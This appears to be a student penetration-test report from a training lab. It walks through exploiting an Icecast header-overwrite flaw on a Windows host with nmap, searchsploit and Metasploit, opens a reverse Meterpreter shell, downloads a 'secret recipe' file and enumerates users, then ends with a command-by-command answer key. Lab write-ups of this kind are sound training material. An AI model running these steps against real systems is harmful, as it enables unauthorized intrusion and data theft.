GoodSecurity Penetration Test Report

JongLee@GoodSecurity.com

04/11/2022

1.0 High-Level Summary

GoodSecurity was tasked with performing an internal penetration test on GoodCorp's CEO, Hans Gruber. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Hans' computer and determine if it is at risk. GoodSecurity's overall objective was to exploit any vulnerable software and find the secret recipe file on Hans' computer, while reporting the findings back to GoodCorp.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Hans' desktop. When performing the attacks, GoodSecurity was able to gain access to his machine and find the secret recipe file by exploit two programs that had major vulnerabilities. The details of the attack can be found in the 'Findings' category.

2.0 Findings

Machine IP: **192.168.0.20**

Hostname: **msedgewin10**

Vulnerability Exploited: **Icecast header overwrite**

Vulnerability Explanation:

Icecast application allows for buffer overflow exploits. This is where an attacker can send 32 HTTP headers remotely and gain control of the victim's system. They do so by overwriting the memory utilizing the Icecast flaw, which writes past the end of a pointer array. This is a very severe vulnerability. It can allow attacks to damage files and expose private data and information. This can be the start of a bigger issue. Things like ransomware, data theft and loss can just be the starting point for even larger scale problems.

Severity:

CRITICAL vulnerability!!

Proof of Concept:

nmap/port scanning:

```
root@kali:/opt/heartbleed-example# nmap -sV 192.168.0.20
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-11 19:51 PDT
Nmap scan report for 192.168.0.20
Host is up (0.0092s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE       VERSION
25/tcp   open  smtp          SLmail smtpd 5.5.0.4433
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
8000/tcp open  http          Icecast streaming media server
MAC Address: 00:15:5D:00:04:01 (Microsoft)
Service Info: Host: MSEDGEWIN10; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nma
p.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.74 seconds
```

Icecast exploit:

```
root@kali:/opt/heartbleed-example# searchsploit icecast
---------------------------------------- ----------------------------------------
 Exploit Title                          |  Path
                                        | (/usr/share/exploitdb/)
---------------------------------------- ----------------------------------------
Icecast 1.1.x/1.3.x - Directory Trave | exploits/multiple/remote/20972.txt
Icecast 1.1.x/1.3.x - Slash File Name | exploits/multiple/dos/20973.txt
Icecast 1.3.7/1.3.8 - 'print_client() | exploits/windows/remote/20582.c
Icecast 1.x - AVLLib Buffer Overflow  | exploits/unix/remote/21363.c
Icecast 2.0.1 (Win32) - Remote Code E | exploits/windows/remote/568.c
Icecast 2.0.1 (Win32) - Remote Code E | exploits/windows/remote/573.c
Icecast 2.0.1 (Windows x86) - Header  | exploits/windows_x86/remote/16763.rb
Icecast 2.x - XSL Parser Multiple Vul | exploits/multiple/remote/25238.txt
icecast server 1.3.12 - Directory Tra | exploits/linux/remote/21602.txt
---------------------------------------- ----------------------------------------
Shellcodes: No Result
```

```
msf5 > search icecast

Matching Modules
================

   #  Name                                  Disclosure Date  Rank   Check  Descr
iption
   -  ----                                  ---------------  ----   -----  -----
------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Iceca
st Header Overwrite


msf5 > use icecast

Matching Modules
================

   #  Name                                  Disclosure Date  Rank   Check  Descr
iption
   -  ----                                  ---------------  ----   -----  -----
------
```

```
msf5 > use icecast

Matching Modules
================

   #  Name                                  Disclosure Date  Rank   Check  Descr
iption
   -  ----                                  ---------------  ----   -----  -----
------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Iceca
st Header Overwrite


[*] Using exploit/windows/http/icecast_header
msf5 exploit(windows/http/icecast_header) > options

Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier
  or hosts file with syntax 'file:<path>'
```

Set RHOST / Exploit

```
    set RHOSTS www.example.test/24
msf5 exploit(windows/http/icecast_header) > set RHOSTS 192.168.0.20
RHOSTS => 192.168.0.20
msf5 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 192.168.0.8:4444
[*] Sending stage (180291 bytes) to 192.168.0.20
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.20:49751) at 20
22-04-11 19:56:46 -0700
```

Gain meterpreter session, search for files

```
meterpreter > search -f *secretfile*.txt
Found 1 result...
    c:\Users\IEUser\Documents\user.secretfile.txt (161 bytes)
meterpreter > search -f *recipe*.txt
Found 1 result...
    c:\Users\IEUser\Documents\Drinks.recipe.txt (48 bytes)
```

```
meterpreter > search -f *recipe*.txt
Found 1 result...
    c:\Users\IEUser\Documents\Drinks.recipe.txt (48 bytes)
```

Download Drinks.recipe.txt from host

```
meterpreter > download Drinks.recipe.txt
[*] Downloading: Drinks.recipe.txt -> Drinks.recipe.txt
[*] Downloaded 48.00 B of 48.00 B (100.0%): Drinks.recipe.txt -> Drinks.recipe.t
xt
[*] download   : Drinks.recipe.txt -> Drinks.recipe.txt
```

Enumerating logged on users, gaining shell, getting system information:

```
meterpreter > run post/windows/gather/enum_logged_on_users

[*] Running against session 1

Current Logged Users
====================

 SID                                            User
 ---                                            ----
 S-1-5-21-321011808-3761883066-353627080-1000   MSEDGEWIN10\IEUser
```

```
meterpreter > sysinfo
Computer        : MSEDGEWIN10
OS              : Windows 10 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
```

3.0 Recommendations

With this being a highly severe vulnerability, it is paramount that Icecast is upgraded to the latest version. That would be 2.0.2 or later when this issue was patched. Please keep the system up to date with proper patches for vulnerabilities that have been found for each service on application on the system. This will help to harden the system and keep exposure down. Consider and implement a periodic update of systems. Best practice would be to patch monthly to start. There are possible vulnerabilities in all systems but with good user action and a plan, these can be kept minimal.

4.0 Raw Data/Interactions

You've been provided full access to the network and are getting ping responses from the CEO's workstation.

Perform a service and version scan using Nmap to determine which services are up and running:

Run the Nmap command that performs a service and version scan against the target.

Answer: nmap -sV 192.168.0.20

From the previous step, we see that the Icecast service is running. Let's start by attacking that service. Search for any Icecast exploits:

Run the SearchSploit commands to show available Icecast exploits.

Answer: searchsploit icecast

Now that we know which exploits are available to us, let's start Metasploit:

Run the command that starts Metasploit:

Answer: msfconsole

Search for the Icecast module and load it for use.

Run the command to search for the Icecast module:

Answer: search icecast

Run the command to use the Icecast module:

Note: Instead of copying the entire path to the module, you can use the number in front of it.

Answer: use icecast

Set the RHOST to the target machine.

Run the command that sets the RHOST:

Answer: set RHOSTS 192.168.0.20

Run the Icecast exploit.

Run the command that runs the Icecast exploit.

Answer: run

Run the command that performs a search for the secretfile.txt on the target.

Answer: search -f *secretfile*.txt

You should now have a Meterpreter session open.

Run the command to performs a search for the recipe.txt on the target:

Answer: search -f *recipe*.txt

Bonus: Run the command that exfiltrates the recipe*.txt file:

Answer: download “C:\Users\IEUser\Documents\Drinks.recipe.txt

You can also use Meterpreter's local exploit suggester to find possible exploits.

Note: The exploit suggester is just that: a suggestion. Keep in mind that the listed suggestions may not include all available exploits.

Bonus

A. Run a Meterpreter post script that enumerates all logged on users.

Answer: run post/windows/gather/enum_logged_on_users

B. Open a Meterpreter shell.

Answer: shell

C. Run the command that displays the target's computer system information:

Answer: sysinfo